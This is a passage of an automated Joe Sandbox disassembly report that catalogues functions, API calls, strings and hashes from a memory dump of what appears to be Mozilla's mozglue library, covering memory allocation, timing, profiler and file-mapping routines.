Function 6C52C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C52C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C52C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C52C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C52C891

Strings

nan, xrefs: 6C52C7A8
NAN, xrefs: 6C52C7AD
inf, xrefs: 6C52C78F
INF, xrefs: 6C52C794

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 0f9703603c857e52dd2931b4b951803b7d26f8c7dc2d626cd27cb6e0d19f2d9c
Instruction ID: be752a2af9005d106f9731b8a150c5cf73eaae743251ceb787a631530663365a
Opcode Fuzzy Hash: 0f9703603c857e52dd2931b4b951803b7d26f8c7dc2d626cd27cb6e0d19f2d9c
Instruction Fuzzy Hash: 785196715087808BE704EF2CC88169AFBF0BF9A344F008A1DE9D5A7691E774E985CB53

Function 6C503480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C503492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C5034A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C5034EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C50350E
__Init_thread_footer.LIBCMT ref: 6C503522
__aulldiv.LIBCMT ref: 6C503552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C50357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C503592

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C503508
kernel32.dll, xrefs: 6C5034EA

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 4f4b8027c675aece6f98bcf0247be976f106f1681701b04ea0dd1e04fe1ba52d
Instruction ID: bb9ca0891b4b4ff76b78817a471f17fcc703506780a43bfdb9cdd4e9ac16607a
Opcode Fuzzy Hash: 4f4b8027c675aece6f98bcf0247be976f106f1681701b04ea0dd1e04fe1ba52d
Instruction Fuzzy Hash: 8031C471B02225DBDF00DFB6CC48EAA77B9FB4B308F121619E505E3660EB74A904CB64

Function 6C504480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C544843,?), ref: 6C5045F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C544843,?), ref: 6C50468A
free.MOZGLUE(?,?,?,?,?,?,6C544843,?), ref: 6C5046C9
free.MOZGLUE(?), ref: 6C5046EF
free.MOZGLUE(?), ref: 6C504712
free.MOZGLUE(?), ref: 6C504735
free.MOZGLUE(?), ref: 6C504758
free.MOZGLUE(?), ref: 6C50477B
free.MOZGLUE(?), ref: 6C50479E

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4c2f422450a501e90bca831a5bc6ca40862e0217a779dd3739a31739698b3dfa
Instruction ID: ee679deb6a9e66a16dc19a8b28a62e7d1b948770f12c55f2fc24c87a1daf1bb6
Opcode Fuzzy Hash: 4c2f422450a501e90bca831a5bc6ca40862e0217a779dd3739a31739698b3dfa
Instruction Fuzzy Hash: 7DB1D271B005508FDB18DE3CDC9476D77A2AFA2328F184A69E816DBBD6E7319C408B91

Function 6C56AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C56AC52
CreateFileMappingW.KERNEL32 ref: 6C56AC7D
GetSystemInfo.KERNEL32 ref: 6C56AC98
MapViewOfFile.KERNEL32 ref: 6C56ACB0
GetSystemInfo.KERNEL32 ref: 6C56ACCD
MapViewOfFile.KERNEL32 ref: 6C56AD05
UnmapViewOfFile.KERNEL32 ref: 6C56AD1C
CloseHandle.KERNEL32 ref: 6C56AD28
UnmapViewOfFile.KERNEL32 ref: 6C56AD37
CloseHandle.KERNEL32 ref: 6C56AD43
CloseHandle.KERNEL32 ref: 6C56AD67

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 076ec6f203131ef855fd82a59af8f5bd66902f6965ce6d9413cd717166af6960
Instruction ID: ffc047458345256063b3694cb85e4312b62115950f3cd3173925a0cf734c3d11
Opcode Fuzzy Hash: 076ec6f203131ef855fd82a59af8f5bd66902f6965ce6d9413cd717166af6960
Instruction Fuzzy Hash: 50316EB19057158FDB00BF79CE4826EBBF4BF86305F025A2DE98587611EB709488CB96

Function 6C519620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C519675
__Init_thread_footer.LIBCMT ref: 6C519697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5196E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C519707
__Init_thread_footer.LIBCMT ref: 6C51971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519773

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5197B7
FreeLibrary.KERNEL32 ref: 6C5197D0
FreeLibrary.KERNEL32 ref: 6C5197EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C519824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C519670
ntdll.dll, xrefs: 6C5196E3
MapViewOfFileNuma2, xrefs: 6C5197B1
NtMapViewOfSection, xrefs: 6C519701

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: d0e8439b4e5d84eafae86f88ffa3f7fe9a0ce1336a1e513574242689f45e0a38
Instruction ID: 7e7f9953d57e5ae6cd17cce20ffeef43a6d1c693c8a7c38efa564e8c81d51c01
Opcode Fuzzy Hash: d0e8439b4e5d84eafae86f88ffa3f7fe9a0ce1336a1e513574242689f45e0a38
Instruction Fuzzy Hash: 98418F746022259BFF00EFA4DC88A9677B4FB8B314F125629ED16D7B40E730A844CBA5

Function 6C550000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C550039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C550041
GetCurrentThreadId.KERNEL32 ref: 6C550075
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C550082
moz_xmalloc.MOZGLUE(00000048), ref: 6C550090
free.MOZGLUE(?), ref: 6C550104
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C55011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C55005B

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: de60b019e8b218c7508855b38e1dd44179a1b085289a63039f0649fbfa4fdc3c
Instruction ID: f95b5c49af6e8f5d533352a7a24161f993e78ff57da4b7034bb9ce0165fcf2c9
Opcode Fuzzy Hash: de60b019e8b218c7508855b38e1dd44179a1b085289a63039f0649fbfa4fdc3c
Instruction Fuzzy Hash: 4A41BF71502664DFCB10DF64CC40A9ABBF4FF8A318F81491EE95A83B50D731AC14CB96

Function 6C517E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C517EA7
malloc.MOZGLUE(00000001), ref: 6C517EB3

Part of subcall function 6C51CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C51CB49
Part of subcall function 6C51CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C51CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C517EC4
mozalloc_abort.MOZGLUE(?), ref: 6C517F19
malloc.MOZGLUE(?), ref: 6C517F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C517F4D

Strings

d, xrefs: 6C517F89

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: d8385aca42ba52a51b18ead9013e5c1985013b4a69b7d3cb0bbadfbcfecc7cfd
Instruction ID: fca0cdaf9b73ce9660251dd9deb95c232dacce5d1acb49a233b2b80ef3d7dea1
Opcode Fuzzy Hash: d8385aca42ba52a51b18ead9013e5c1985013b4a69b7d3cb0bbadfbcfecc7cfd
Instruction Fuzzy Hash: AC311871E04758D7EF019B28CC445FEB778EF96208F059628EC495BA12FB31A9C8C3A4

Function 6C513E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C513EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C513FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C513CCC), ref: 6C514006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5140A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C5140AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C513CCC), ref: 6C5140C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C514134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C513CCC), ref: 6C514143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C513CCC), ref: 6C514157

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: b49c722023178006d9089bf5eeb1e0118da9d621250ab13da46074e5757a4e4c
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 59A19FB5A04205CFEB50CF29C884659B7B5FF88318F2545A9D909AFB42D771EC86CBA0

Function 6C502030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C523F47,?,?,?,6C523F47,6C521A70,?), ref: 6C50207F
memset.VCRUNTIME140(?,000000E5,6C523F47,?,6C523F47,6C521A70,?), ref: 6C5020DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C523F47,6C521A70,?), ref: 6C50211A
EnterCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C502145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C523F47,6C521A70,?), ref: 6C5021BA
EnterCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C5021E0
LeaveCriticalSection.KERNEL32(6C58E744,?,6C523F47,6C521A70,?), ref: 6C502232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C502253, 6C502268
MOZ_CRASH(), xrefs: 6C50227D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: b39f47691db558693ae71d4cf245bacfc5780c43c00d7cdb45915e7d03649f79
Instruction ID: d6903fafa25e292f04187e21734c6df8af4ac63648de1f6df5c17d3aa4cb9705
Opcode Fuzzy Hash: b39f47691db558693ae71d4cf245bacfc5780c43c00d7cdb45915e7d03649f79
Instruction Fuzzy Hash: B161D631F01226CFCB04CEA9CD9976E77B5AF86318F294639E924E7A95D7709C00C791

Function 6C559D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C558273), ref: 6C559D65
free.MOZGLUE(6C558273,?), ref: 6C559D7C
free.MOZGLUE(?,?), ref: 6C559D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C559E0F
free.MOZGLUE(6C55946B,?,?), ref: 6C559E24
free.MOZGLUE(?,?,?), ref: 6C559E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C559EC8
free.MOZGLUE(6C55946B,?,?,?), ref: 6C559EDF
free.MOZGLUE(?,?,?,?), ref: 6C559EF5

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6277e480df359537f8ba1132b4a8b0928f54426149d66a9a04e8929ae30fccb6
Instruction ID: 649a64e00be3d7591a86a563c87aa9d1ae34bf556c2dc47d01b7481a921224cb
Opcode Fuzzy Hash: 6277e480df359537f8ba1132b4a8b0928f54426149d66a9a04e8929ae30fccb6
Instruction Fuzzy Hash: BC71A1B0909B41DBC712CF18C88056BF3F4FF99315B84965AE85A5B701EB34E886CBC1

Function 6C55DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C55DDCF

Part of subcall function 6C53FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53FA4B

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DE0D
free.MOZGLUE(00000000), ref: 6C55DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C55DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C54DEFD,?,6C514A68), ref: 6C55DF32

Part of subcall function 6C55DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55DB86
Part of subcall function 6C55DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C55DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C54DEFD,?,6C514A68), ref: 6C55DF65
free.MOZGLUE(?), ref: 6C55DF80

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f88d442b4bf4a6edf7cba2f0b6dfaf96dcccca78a7bde85488c6012836c3a911
Instruction ID: 73753b090730864755b4343b0d8e715fc9808bbac0349aebcea8f988ae9d965f
Opcode Fuzzy Hash: f88d442b4bf4a6edf7cba2f0b6dfaf96dcccca78a7bde85488c6012836c3a911
Instruction Fuzzy Hash: 0651B473702611DBD7119B28DE806AEB3B2BF92348FD6051ED91A53B00D731F969CB92

Function 6C565D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565DC9
std::_Facet_Register.LIBCPMT ref: 6C565DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C565C8C,?,6C53E829), ref: 6C565E45

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: b81865004e8dd077651b2327c8447fa7a10a3de56160164a09c88475ef8d902a
Instruction ID: dd16938eb9a7a86660695b8f9bf10503960c61b413a198794794a5127a1e4978
Opcode Fuzzy Hash: b81865004e8dd077651b2327c8447fa7a10a3de56160164a09c88475ef8d902a
Instruction Fuzzy Hash: 2141B2707412159FCB00EF65CC88AAE77B9FF89314F854069E50A9BB92EB30ED05CB65

Function 6C53CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5031A7), ref: 6C53CDDD

Strings

<jemalloc>, xrefs: 6C53CF9F, 6C53CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C53CFA4, 6C53CFB8

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 33079a9fb0fafed44c4ed59bae16c14e464800a10f39abd28cb15cbe5a29bf64
Instruction ID: 67d0dca9749c76516e787bb9e68d065e6630998eb3bda4830072d1f0814eb2f0
Opcode Fuzzy Hash: 33079a9fb0fafed44c4ed59bae16c14e464800a10f39abd28cb15cbe5a29bf64
Instruction Fuzzy Hash: 2831C5307412355BEF11AEA58C45BAE7BB9AF82718F315215F619AB6C0FB70E400CBA4

Function 6C50ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C50F100: LoadLibraryW.KERNEL32(shell32,?,6C57D020), ref: 6C50F122
